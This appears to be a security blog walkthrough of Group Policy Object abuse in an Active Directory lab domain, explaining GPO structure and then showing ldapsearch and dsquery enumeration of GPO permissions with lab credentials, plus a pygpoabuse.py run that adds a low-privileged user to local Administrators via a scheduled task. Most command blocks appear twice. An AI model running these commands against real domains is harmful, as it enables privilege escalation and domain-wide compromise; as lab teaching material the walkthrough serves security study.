July 17, 2026
Active Directory Attacks — GPO Abuse
Group Policy and Group Policy Objects

By Osec
7 min read
Group Policy is a centralized management feature in Active Directory that allows administrators to define, enforce, and automate configuration settings across domain-joined systems. Rather than configuring each computer or user individually, administrators can create a single policy and have it automatically applied to the appropriate objects throughout the domain.
The configuration itself is stored in a Group Policy Object (GPO). A GPO is an Active Directory object that contains a collection of policy settings governing both computer and user behavior. These settings cover a wide range of administrative tasks, including security policies, software deployment, Windows Firewall rules, startup and logon scripts, scheduled tasks, registry modifications, and many other operating system configurations.
A GPO consists of two complementary components:
- Group Policy Container (GPC): An Active Directory object that stores metadata about the GPO, such as its unique identifier (GUID), version information, and references to the associated policy files.
- Group Policy Template (GPT): A directory stored within the
SYSVOLshare on domain controllers that contains the actual policy files, including Administrative Template settings, security policies, scripts, preferences, and other configuration data.
When Group Policy is processed, clients retrieve information from both the GPC in Active Directory and the corresponding GPT in SYSVOL to construct and apply the complete policy.
A GPO does not affect objects simply because it exists. Instead, it must be linked to an Active Directory container, such as a site, domain, or organizational unit (OU). Once linked, the policy is applied to the users and computers within that scope, subject to inheritance, security filtering, and Windows Management Instrumentation (WMI) filtering. This layered design enables administrators to manage large enterprise environments efficiently while maintaining granular control over where policies are enforced.
Organizational Units (OUs)_ are logical containers within Active Directory used to organize users, computers, groups, and other directory objects into a hierarchical structure._
Abusing Group Policy Objects
Group Policy is one of the most powerful administration mechanisms in an Active Directory environment. Because GPOs can centrally configure security settings, deploy software, execute scripts, create scheduled tasks, modify the registry, manage local group memberships, and perform countless other administrative actions, compromising a GPO effectively grants an attacker the ability to execute those actions on every system to which the policy applies.
Unlike many privilege escalation techniques that target a single host, GPO abuse enables attackers to compromise multiple systems simultaneously from a single management point. The impact of a compromised GPO depends entirely on its scope: a GPO linked to a single Organizational Unit (OU) may affect only a handful of machines, while a GPO linked at the domain level can impact every applicable computer or user in the domain.
From an attacker's perspective, a GPO becomes a high-value target whenever they obtain permissions that allow it to be modified. Several Active Directory permissions can provide this capability, either directly or indirectly. Once such permissions are acquired, an attacker can introduce malicious policy settings that are automatically distributed to targeted systems during the next Group Policy refresh, providing an effective means of privilege escalation, lateral movement, or long-term persistence.
However, not every user can modify a Group Policy Object. GPO abuse is only possible when an attacker obtains one or more Active Directory permissions that grant control over the policy or its security descriptor. The most important of these permissions are:
- GenericAll
- GenericWrite
- WriteDACL
- WriteOwner
- GpoEdit
- GpoEditDeleteModifySecurity
- WriteProperty (where applicable)
In practice, GPO abuse typically falls into one of two scenarios:
- Modifying an existing linked GPO: This is the most common attack path. If an attacker obtains permissions such as GpoEdit, GpoEditDeleteModifySecurity, GenericAll, or other equivalent rights over a GPO, they can modify its configuration to introduce malicious settings. Because the GPO is already linked to an Active Directory container, the changes are automatically applied to all computers or users within its scope during the next Group Policy refresh.
- Creating and linking a new GPO: Alternatively, an attacker may create a new malicious GPO and link it to a site, domain, or Organizational Unit (OU). Once the link is established, the policy is processed by all applicable systems within the target scope. This attack path requires not only the ability to create and edit GPOs, but also sufficient permissions to link the newly created GPO to the desired Active Directory container.
Enumeration
Before attempting to abuse a Group Policy Object (GPO), we must first identify GPOs over which our controlled principal has sufficient privileges. Since GPOs are Active Directory objects protected by access control lists (ACLs), their security descriptors determine which users and groups are permitted to modify them.
Linux
The following one-liner leverages ldapsearch to query Active Directory directly over the LDAP protocol. It searches the CN=Policies,CN=System container, which stores all Group Policy Container (GPC) objects, and applies the LDAP filter (objectClass=groupPolicyContainer) to enumerate every GPO in the domain. The command then extracts the distinguished name (DN) of each GPO and pipes the results to our custom wrapper script. For every enumerated GPO, the wrapper invokes impacket-dacledit to retrieve its DACL, parses the resulting ACEs, and identifies any dangerous permissions granted to one or more of our controlled security principals.
ldapsearch -x -H ldap://10.129.90.32 -o ldif-wrap=no -D "htb-student_adm@INLANEFREIGHT.LOCAL" -w 'Academy_student_DA!' -b "CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL" "(objectClass=groupPolicyContainer)" cn | grep ^dn | cut -d ' ' -f 2,3,4,5,6,7,8 | ./daclAudit.sh -d 'INLANEFREIGHT.LOCAL/htb-student_adm:Academy_student_DA!' -dc 10.129.90.32 -t 'CN={8CB79526-7F77-4A8B-8452-59D28B35AFA2},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL' -p 'Domain Users' -p lowuserldapsearch -x -H ldap://10.129.90.32 -o ldif-wrap=no -D "htb-student_adm@INLANEFREIGHT.LOCAL" -w 'Academy_student_DA!' -b "CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL" "(objectClass=groupPolicyContainer)" cn | grep ^dn | cut -d ' ' -f 2,3,4,5,6,7,8 | ./daclAudit.sh -d 'INLANEFREIGHT.LOCAL/htb-student_adm:Academy_student_DA!' -dc 10.129.90.32 -t 'CN={8CB79526-7F77-4A8B-8452-59D28B35AFA2},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL' -p 'Domain Users' -p lowuseryou can find the script on my github
windows
The following PowerShell one-liner performs the same enumeration using native Windows tooling. It begins by invoking dsquery to search the CN=Policies,CN=System container for all objects of the groupPolicyContainer class, thereby enumerating every Group Policy Object (GPO) in the domain. Since dsquery encloses distinguished names (DNs) in quotation marks, the output is passed through ForEach-Object to remove the quotes before being piped to the Audit-DACLs.ps1 script. The script then processes each GPO individually, retrieves its DACL, and analyzes the access control entries (ACEs) to identify dangerous permissions granted to any of the specified controlled security principals.
dsquery * CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL -filter '(objectClass=groupPolicyContainer)' | ForEach-Object { $_ -replace '"', '' } | .\Audit-DACLs.ps1 -Domain "INLANEFREIGHT.LOCAL" -DomainController "10.129.90.32" -ControlledPrincipals "lowuser", "Domain Users"dsquery * CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL -filter '(objectClass=groupPolicyContainer)' | ForEach-Object { $_ -replace '"', '' } | .\Audit-DACLs.ps1 -Domain "INLANEFREIGHT.LOCAL" -DomainController "10.129.90.32" -ControlledPrincipals "lowuser", "Domain Users"Attack
Once a vulnerable Group Policy Object (GPO) has been identified, the next step is to leverage the granted permissions to modify the policy and distribute a malicious configuration to its target systems. The specific actions that can be performed depend on the level of access obtained; however, any permission that allows a GPO to be modified can ultimately be abused to execute attacker-controlled actions on the computers or users to which the policy applies.
demo:
lets start by enumerating GPOs over which our controlled principal has sufficient privileges.
ldapsearch -x -H ldap://10.129.90.32 -o ldif-wrap=no -D "htb-student_adm@INLANEFREIGHT.LOCAL" -w 'Academy_student_DA!' -b "CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL" "(objectClass=groupPolicyContainer)" cn | grep ^dn | cut -d ' ' -f 2,3,4,5,6,7,8 | ./daclAudit.sh -d 'INLANEFREIGHT.LOCAL/htb-student_adm:Academy_student_DA!' -dc 10.129.90.32 -t 'CN={8CB79526-7F77-4A8B-8452-59D28B35AFA2},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL' -p 'Domain Users' -p lowuser
Active Directory DACL Auditor
[ Automated Wrapper Utility for impacket-dacledit ]
[i] - DC Server: 10.129.90.32
[i] - Controlled Principal(s) : Domain Users,lowuser
[*] Warning: Pipe detected. Ignoring explicit target parameter (-t).
[*] Processing : CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={F12B926C-D962-4B47-88C5-3307444ED140},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={8CB79526-7F77-4A8B-8452-59D28B35AFA2},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={9365C403-05E8-4856-9337-C7682657BF47},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={EB4C1509-C723-4BF2-8A6A-CC4451A739EB},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={C5549EEC-6CCE-4F16-8E44-8AA1BF734069},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={46685C63-BCFA-4B9A-BC42-E1E911E073B3},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={CEBA52FA-FC99-4BF9-A28D-56EBA11E3511},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={DDBB8574-E94E-4525-8C9D-ABABE31223D0},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={7CA9C789-14CE-46E3-A722-83F4097AF532},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={03A6ACC0-0DDB-473B-A879-25E109A5707E},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={80336F91-2FC2-4323-B065-31E51243C4CB},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
ACE Type: ACCESS_ALLOWED_ACE
Permissions: WriteProperties,CreateChild,DeleteChild,Delete
Trustee: lowuser (S-1-5-21-3842939050-3880317879-2865463114-7603)
--------------------------------------------------------------------
[*] Audit completed.ldapsearch -x -H ldap://10.129.90.32 -o ldif-wrap=no -D "htb-student_adm@INLANEFREIGHT.LOCAL" -w 'Academy_student_DA!' -b "CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL" "(objectClass=groupPolicyContainer)" cn | grep ^dn | cut -d ' ' -f 2,3,4,5,6,7,8 | ./daclAudit.sh -d 'INLANEFREIGHT.LOCAL/htb-student_adm:Academy_student_DA!' -dc 10.129.90.32 -t 'CN={8CB79526-7F77-4A8B-8452-59D28B35AFA2},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL' -p 'Domain Users' -p lowuser
Active Directory DACL Auditor
[ Automated Wrapper Utility for impacket-dacledit ]
[i] - DC Server: 10.129.90.32
[i] - Controlled Principal(s) : Domain Users,lowuser
[*] Warning: Pipe detected. Ignoring explicit target parameter (-t).
[*] Processing : CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={F12B926C-D962-4B47-88C5-3307444ED140},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={8CB79526-7F77-4A8B-8452-59D28B35AFA2},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={9365C403-05E8-4856-9337-C7682657BF47},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={EB4C1509-C723-4BF2-8A6A-CC4451A739EB},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={C5549EEC-6CCE-4F16-8E44-8AA1BF734069},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={46685C63-BCFA-4B9A-BC42-E1E911E073B3},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={CEBA52FA-FC99-4BF9-A28D-56EBA11E3511},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={DDBB8574-E94E-4525-8C9D-ABABE31223D0},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={7CA9C789-14CE-46E3-A722-83F4097AF532},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={03A6ACC0-0DDB-473B-A879-25E109A5707E},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
[*] Processing : CN={80336F91-2FC2-4323-B065-31E51243C4CB},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
ACE Type: ACCESS_ALLOWED_ACE
Permissions: WriteProperties,CreateChild,DeleteChild,Delete
Trustee: lowuser (S-1-5-21-3842939050-3880317879-2865463114-7603)
--------------------------------------------------------------------
[*] Audit completed.interesting, as the user lowuser we have this WriteProperties permission over this GPO CN={80336F91-2FC2-4323-B065-31E51243C4CB},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL that means we can edit that GPO !
before we jump to the exploitation lets answer a few questions,
- Where is the GPO linked?
- Is the link enabled?
- Is the GPO enforced?
- Which computers or users fall within the linked Site, Domain, or OU?
1- Where is the GPO linked?
ldapsearch -x -H ldap://10.129.90.32 -o ldif-wrap=no -D "htb-student_adm@INLANEFREIGHT.LOCAL" -w 'Academy_student_DA!' -b "DC=INLANEFREIGHT,DC=LOCAL" "(gPLink=*80336F91-2FC2-4323-B065-31E51243C4CB*)" dn gPLink
# ouput :
dn: DC=INLANEFREIGHT,DC=LOCAL
gPLink: [LDAP://cn={80336F91-2FC2-4323-B065-31E51243C4CB},cn=policies,cn=system,DC=INLANEFREIGHT,DC=LOCAL;0][LDAP://cn={DDBB8574-E94E-4525-8C9D-ABABE31223D0},cn=policies,cn=system,DC=INLANEFREIGHT,DC=LOCAL;2][LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL;0]ldapsearch -x -H ldap://10.129.90.32 -o ldif-wrap=no -D "htb-student_adm@INLANEFREIGHT.LOCAL" -w 'Academy_student_DA!' -b "DC=INLANEFREIGHT,DC=LOCAL" "(gPLink=*80336F91-2FC2-4323-B065-31E51243C4CB*)" dn gPLink
# ouput :
dn: DC=INLANEFREIGHT,DC=LOCAL
gPLink: [LDAP://cn={80336F91-2FC2-4323-B065-31E51243C4CB},cn=policies,cn=system,DC=INLANEFREIGHT,DC=LOCAL;0][LDAP://cn={DDBB8574-E94E-4525-8C9D-ABABE31223D0},cn=policies,cn=system,DC=INLANEFREIGHT,DC=LOCAL;2][LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL;0]that GPO is linked to the domain !
2- Is the link enabled?
The gPLink attribute looks like:
[LDAP://CN={GUID},CN=Policies,CN=System,DC=lab,DC=local;0][LDAP://CN={GUID},CN=Policies,CN=System,DC=lab,DC=local;0]The number after the semicolon is the link options.
Value | Meaning
0 Link enabled
1 Link disabled
2 Enforced
3 Disabled + Enforced
So if you see
...;0]...;0]the GPO is active.
3- Is the GPO enforced?
Again, look at the link options.
0 = Enabled
1 = Disabled
2 = Enforced
3 = Disabled + Enforced0 = Enabled
1 = Disabled
2 = Enforced
3 = Disabled + EnforcedAn enforced link prevents child OUs from blocking inheritance.
4- Which users or computers are affected?
Once you know the linked container, enumerate its contents.
Example:
OU=Servers,DC=INLANEFREIGHT,DC=LOCALOU=Servers,DC=INLANEFREIGHT,DC=LOCALUsers:
ldapsearch -x -H ldap://10.129.90.32 -o ldif-wrap=no -D "htb-student_adm@INLANEFREIGHT.LOCAL" -w 'Academy_student_DA!' -b "DC=INLANEFREIGHT,DC=LOCAL" "(objectClass=user)" sAMAccountNameldapsearch -x -H ldap://10.129.90.32 -o ldif-wrap=no -D "htb-student_adm@INLANEFREIGHT.LOCAL" -w 'Academy_student_DA!' -b "DC=INLANEFREIGHT,DC=LOCAL" "(objectClass=user)" sAMAccountNameComputers:
ldapsearch -x -H ldap://10.129.90.32 -o ldif-wrap=no -D "htb-student_adm@INLANEFREIGHT.LOCAL" -w 'Academy_student_DA!' -b "DC=INLANEFREIGHT,DC=LOCAL" "(objectClass=computer)" sAMAccountNameldapsearch -x -H ldap://10.129.90.32 -o ldif-wrap=no -D "htb-student_adm@INLANEFREIGHT.LOCAL" -w 'Academy_student_DA!' -b "DC=INLANEFREIGHT,DC=LOCAL" "(objectClass=computer)" sAMAccountNamein our case the GPO is enabled and it affects all users / computers on the domain ( because it is linked to the domain )
now let's jump to the exciting part , exploitation
for the exploitation we will use the partial python implementation of SharpGPOAbuse from Hackndo , github
before we perform the attack the lowuser user aren't a member of the Administrators group !
Copyright (C) Microsoft Corporation. All rights reserved.
Loading personal and system profiles took 1479ms.
PS C:\Windows\system32> net user lowuser
User name lowuser
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 7/8/2026 4:47:46 AM
Password expires Never
Password changeable 7/9/2026 4:47:46 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Users
The command completed successfully.Copyright (C) Microsoft Corporation. All rights reserved.
Loading personal and system profiles took 1479ms.
PS C:\Windows\system32> net user lowuser
User name lowuser
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 7/8/2026 4:47:46 AM
Password expires Never
Password changeable 7/9/2026 4:47:46 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Users
The command completed successfully.let's launch the exploit :
python3 ./pygpoabuse.py INLANEFREIGHT.LOCAL/htb-student_adm:Academy_student_DA! -command "net localgroup Administrators lowuser /add" -gpo-id 80336F91-2FC2-4323-B065-31E51243C4CB -f
[+] ScheduledTask TASK_fbc5ca9a created!python3 ./pygpoabuse.py INLANEFREIGHT.LOCAL/htb-student_adm:Academy_student_DA! -command "net localgroup Administrators lowuser /add" -gpo-id 80336F91-2FC2-4323-B065-31E51243C4CB -f
[+] ScheduledTask TASK_fbc5ca9a created!lets check if the exploit works
PS C:\ > net user lowuser
User name lowuser
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 7/8/2026 4:47:46 AM
Password expires Never
Password changeable 7/9/2026 4:47:46 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators
Global Group memberships *Domain Users
The command completed successfully.
PS C:\ > net user lowuser
User name lowuser
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 7/8/2026 4:47:46 AM
Password expires Never
Password changeable 7/9/2026 4:47:46 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators
Global Group memberships *Domain Users
The command completed successfully.now we are in the Administrators group !
we can do a lot of stuff from here , ( e.g : dump the users' hashes from the DC , perform a golden ticket attack , etc… )
Make sure you subscribe so you get notified anytime a new article got droped !
Follow me on X : https://x.com/osec403